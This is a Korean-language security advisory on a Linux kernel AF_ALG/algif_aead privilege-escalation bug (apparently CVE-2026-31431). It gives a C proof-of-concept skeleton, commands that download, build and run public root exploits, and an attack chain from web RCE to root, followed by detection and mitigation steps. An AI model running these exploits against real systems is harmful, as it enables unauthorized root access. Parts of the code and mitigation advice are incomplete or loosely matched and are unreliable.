버퍼 오버플로 → 커널 메모리 경계를 벗어난 쓰기

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy가 사용자가 부분적으로 제어하는 주소로 실행

// 시스템의 모든 사용자가 할 수 있는 작업
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

# 커널 버전 확인
uname -r

# 취약한 모듈이 로드되었는지 확인
lsmod | grep algif_aead

# AF_ALG 사용 가능 여부 확인
cat /proc/net/protocols | grep ALG

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

1. AF_ALG 소켓 열기 (algif_aead)
2. oversized 버퍼로 sendmsg() 전송
3. 더 작은 버퍼로 recvmsg() → 버그 트리거
4. 커널 힙에 OOB 쓰기
5. cred->uid/gid를 0으로 덮어쓰기
6. execve("/bin/sh") → root 셸

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 16바이트 키 설정
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // 큰 버퍼 → OOB 쓰기 트리거
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... ALG_OP_ENCRYPT cmsg로 msghdr 구성
    sendmsg(op_fd, &msg, 0);

    // 불충분한 버퍼로 recvmsg → 커널이 경계 밖에 쓰기
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // 익스플로잇이 성공했다면, 이제 root
    if (getuid() == 0) {
        printf("[+] 루트 획득!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

# copy-fail-c 클론 및 컴파일
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# 취약한 시스템에서 예상 결과:
# [*] algif_aead 모듈 확인 중...
# [*] 힙 스프레이 준비 중...
# [+] OOB 쓰기 성공
# [+] UID 현재: 0
# # whoami
# root

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

외부 공격자
      │
      ▼
웹 취약점 악용 (RCE) → www-data 접근
      │
      ▼
copyfail을 서버에 업로드 (wget/curl)
      │
      ▼
./copyfail 실행
      │
      ▼
서버에서 root 셸 ✓

# 옵션 1: Ubuntu 24.04 LTS로 업그레이드 (권장)
do-release-upgrade

# 옵션 2: 이미 Ubuntu 22.04 LTS를 사용 중인 경우
sudo apt update && sudo apt dist-upgrade
sudo reboot
# 패치된 커널 확인
uname -r   # Ubuntu 22.04에서는 ≥ 5.15.0-107이어야 함

# 모듈 블랙리스트 생성
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# 영구 적용을 위해 initramfs 재생성
sudo update-initramfs -u

# 재부팅
sudo reboot

lsmod | grep algif_aead
# 아무것도 표시되지 않아야 함

# 비특권 사용자 네임스페이스 비활성화 (일부 Docker 기능 손상)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# 영구 적용
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # 특정 프로필에서 거부

# www-data 또는 nginx의 AppArmor 프로필에 추가
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# www-data에 sudo 권한이 없는지 확인
sudo grep www-data /etc/sudoers

# 불필요한 SUID 바이너리 제거
find / -perm -4000 2>/dev/null

# 접근 가능한 디렉토리 제한
chmod 700 /root
chmod 750 /home/*